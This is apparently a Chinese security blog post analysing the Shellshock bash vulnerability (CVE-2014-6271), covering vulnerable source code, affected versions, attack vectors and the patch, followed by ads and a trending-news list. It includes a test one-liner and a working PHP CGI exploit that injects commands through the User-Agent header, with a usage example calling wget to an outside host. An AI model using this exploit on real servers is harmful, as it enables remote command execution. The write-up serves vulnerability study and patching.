Bash远程代码注入漏洞分析CVE-2014-6271
目录
1. 漏洞的起因
2. 漏洞原理分析
3. 漏洞的影响范围
4. 漏洞的POC、测试方法
5. 漏洞的修复Patch
1. 漏洞的起因
这个漏洞的起因源自于Bash(Bourne Again SHell)的ENV指令
http://ss64.com/bash/env.html
env: Display, set, or remove environment variables, Run a command in a modified environment. Syntax env [OPTION]... [NAME=VALUE]... [COMMAND [ARGS]...] 1. Options 1) -u NAME 2) --unset=NAME Remove variable NAME from the environment, if it was in the environment. 3) -i --ignore-environment Start with an empty environment, ignoring the inherited environment.2. COMMAND [ARGS] 需要执行的指令 对这个指令,有两个关键点要注意 1. ENV指令允许临时改变环境变量,即指定本次指令执行的环境变量,这从一定程度上给了黑客进行PATH Hajaking的可能性 2. ENV指令还允许在设置环境变量后进行指令执行,从某种程度上来说,ENV相当于一个指令执行的指令,同时还附带有临时设置环境变量的功能 Relevant Link: http://ss64.com/bash/env.html http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271 http://seclists.org/oss-sec/2014/q3/651 https://access.redhat.com/node/1200223 http://seclists.org/oss-sec/2014/q3/650 https://community.qualys.com/blogs/securitylabs/2014/09/24/bash-remote-code-execution-vulnerability-cve-2014-6271 2. 漏洞原理分析 虽然ENV是一个指令执行的指令,但是这并不是这次CVE漏洞的产生原因,原因在于 ENV的指令执行走的是正常的BASH指令解析、执行流程,而在一个采取了安全配置的服务器上,对敏感指令的执行都是进行用户级别的权限限制的,所以,ENV本身并不是任意指令执行。真正导致命令任意执行的原因是"Code Injection",即代码注入
Under certain circumstances, bash will execute user code while processing the environment for exported function definitions.我们以bash-3.2版本的源代码为例进行分析
http://download.chinaunix.net/download.php?id=24862&ResourceID=7 bash-3.2builtinsevalstring.c ... if (interactive_shell == 0 && read_but_dont_execute) { last_result = EXECUTION_SUCCESS; dispose_command (global_command); global_command = (COMMAND *)NULL; } else if (command = global_command) { struct fd_bitmap *bitmap; /* 这里没有对传入的command进行正确的边界检查,引入了代码注入的可能性 */ bitmap = new_fd_bitmap (FD_BITMAP_SIZE); begin_unwind_frame ("pe_dispose"); add_unwind_protect (dispose_fd_bitmap, bitmap); add_unwind_protect (dispose_command, command); /* XXX */ global_command = (COMMAND *)NULL; ... bash-3.2variables.c这个文件负责对bash中的变量进行解析,我们在ENV中进行的临时环境变量设置,将在这个文件中完成
/* Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don't import functions from ENV or parse $SHELLOPTS. */ void initialize_shell_variables (env, privmode) char **env; int privmode; { ... create_variable_tables (); /* 从ENV环境变量中获取参数 */ for (string_index = 0; string = env[string_index++]; ) { char_index = 0; name = string; while ((c = *string++) && c != '=') ; if (string[-1] == '=') char_index = string - name - 1; /* If there are weird things in the environment, like `=xxx' or a string without an `=', just skip them. */ if (char_index == 0) continue; /* ASSERT(name[char_index] == '=') */ name[char_index] = ''; /* Now, name = env variable name, string = env variable value, and char_index == strlen (name) */ /* If exported function, define it now. Don't import functions from the environment in privileged mode. 解析环境变量设置中的函数定义 */ if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4)) { string_length = strlen (string); temp_string = (char *)xmalloc (3 + string_length + char_index); strcpy (temp_string, name); temp_string[char_index] = ' '; strcpy (temp_string + char_index + 1, string); /* 这句是关键,initialize_shell_variables对环境变量中的代码进行了执行,由于它错误的信任的外部发送的数据,形成了和SQL注入类似的场景,这句代码和PHP中的eval是类似的,黑客只要满足2个条件。 1. 控制发送的参数,并在其中拼接payload 2. 黑客发送的包含payload的参数会被无条件的执行,而执行方不进行任何的边界检查 这就是典型的数据和代码没有进行正确区分导致的漏洞 */ parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST); // Ancient backwards compatibility. Old versions of bash exported functions like name()=() {...} if (name[char_index - 1] == ')' && name[char_index - 2] == '(') name[char_index - 2] = ''; if (temp_var = find_function (name)) { VSETATTR (temp_var, (att_exported|att_imported)); array_needs_making = 1; } else report_error (_("error importing function definition for `%s'"), name); /* ( */ if (name[char_index - 1] == ')' && name[char_index - 2] == '') name[char_index - 2] = '('; /* ) */ } } }从这个角度来看,这种漏洞应该采用防御SQL注入的思路来进行,对漏洞原理进行一下总结 1. bash(本地、ssh、cgi)允许使用ENV进行path临时设置 2. 黑客通过自定义函数,并导出到变量中 3. BASH对环境变量的设置是通过"代码执行(EVAl)"完成的,即把ENV的参数当成code来执行,这在正常情况下是没有问题的 4. 问题的关键是BASH没有对传入的参数进行正确的边界检查,导致数据和代码的混杂,产生了和PHP EVAL Code InJection类似的漏洞
env x='() { :;}; echo vulnerable'5. 代码注入的关键点在
; echo vulnerable Relevant Link:http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 3. 漏洞的影响范围 这个漏洞属于代码级漏洞,所以漏洞的影响范围和Bash的源代码版本有关
bash-4.2.45-5.el7_0.2 bash-4.1.2-15.el6_5.1 bash-4.1.2-15.el6_5.1.sjis.1 bash-4.1.2-9.el6_2.1 bash-4.1.2-15.el6_4.1 bash-3.2-33.el5.1 bash-3.2-33.el5_11.1.sjis.1 bash-3.2-24.el5_6.1 bash-3.2-32.el5_9.2 bash-3.0-27.el4.24. 漏洞的POC、测试方法 0x1: 攻击的场景 要发动这个攻击,需要满足以下几个条件 1. 我们的攻击目标存在cmd执行的交互接口 1) 本地交互shell:这是最直接的方式 2) SSH:使用SSH进行bash执行需要你知道对方的ssh帐号密码 3) FTP:需要对方开启了ftp cms的执行权限,已经你已经有了一个ftp的帐号密码 4) cgi:需要对方开启了CGI的解析模块 2. 我们有办法设置目标(或者临时设置)的环境变量 3. 我们可以控制即将进行环境变量设置的参数 根据这些先决条件,我们可以得到一些攻击向量 1. httpd 1) webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源 2) 服务器提供了CGI脚本,当 CGI script被webserver执行的时候,CGI Script会去调用Bash 黑客可以通过开启了CGI的httpd服务器进行远程代码执行 2. Secure Shell (SSH) 对于git、rsync这类远程shell来说,常常会对用户可以执行的指令进行严格限制,但是这个BASH解析漏洞提供了一个bypass的向量 3. dhclient 动态主机配置协议客户端(dhclient的)被用来通过DHCP自动获取网络配置信息。该客户端使用不同的环境变量和运行bash来配置网络接口。连接到一个恶意的DHCP服务器可能允许攻击者在客户机上运行任意代码。 黑客通过在域中的DHCP服务器中对DHCP的回送包进行特定的修改,可以达到污染dhcpclient的环境变量参数的目的,从而进行远程代码执行 4. CUPS 5. sudo 6. Firefox 0x2: 手工测试方法
poc: env x='() { :;}; echo vulnerable' bash -c "echo this is a test" expected result: vulnerable this is a test //如果出现这个结果,则说明本机的bash存在漏洞 0x3: 自动化测试方法 <!--?phpRelevant Link: http://www.exploit-db.com/exploits/34766/ 5. 漏洞的修复Patch 从攻击方法上来看,这种漏洞属于边界检查缺失导致的代码注入漏洞,所以我们的修复思路也应该从这两个方面入手 1. 进行正确的边界检查,严格区分函数定义和代码注入 2. 对输入参数进行参数化防御,不允许除了允许范围之外的参数传入
/* Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability CVE: 2014-6271 Vendor Homepage: https://www.gnu.org/software/bash/ Author: Prakhar Prasad && Subho Halder Author Homepage: https://prakharprasad.com && https://appknox.com Date: September 25th 2014 Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26 GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13) Usage: php bash.php -u http:///cgi-bin/ -c cmd Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit" Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/ Test CGI Code : #!/bin/bash echo "Content-type: text/html" echo "" echo "Bash-is-Vulnerable" */ error_reporting(0); if(!defined('STDIN')) die("Please run it through command-line!n"); $x = getopt("u:c:"); if(!isset($x['u']) || !isset($x['c'])) { die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmdn"); } $url = $x['u']; $cmd = $x['c']; $context = stream_context_create( array( 'http' => array( 'method' => 'GET', 'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"' ) ) ); if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0) die("Command sent to the server!n"); else die("Connection Errorn"); ?>
builtins/common.h /* Flags for describe_command, shared between type.def and command.def */ #define SEVAL_FUNCDEF 0x080 /* only allow function definitions */ #define SEVAL_ONECMD 0x100 /* only allow a single command */ builtins/evalstring.c if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def) { internal_warning ("%s: ignoring function definition attempt", from_file); should_jump_to_top_level = 0; last_result = last_command_exit_value = EX_BADUSAGE; break; } .. if (flags & SEVAL_ONECMD) break;Relevant Link: http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 澳门是伟大祖国的一方宝地 7996939
- 2 女子穿板鞋爬山回家脱鞋时被吓一跳 7977432
- 3 张雨绮 为了讨大家喜欢才穿成这样 7808671
- 4 2024 向上的中国 7769661
- 5 72岁老人3年拍100部短剧 7643273
- 6 免费升级宽带后家里成“电诈中心” 7590493
- 7 90%烧伤男生父亲:对方让我高抬贵手 7422845
- 8 9岁女孩胃里取出直径4厘米头发团 7327372
- 9 春熙路不能随便开直播了 7282416
- 10 男子网贷1000元3天内需还2000元 7172468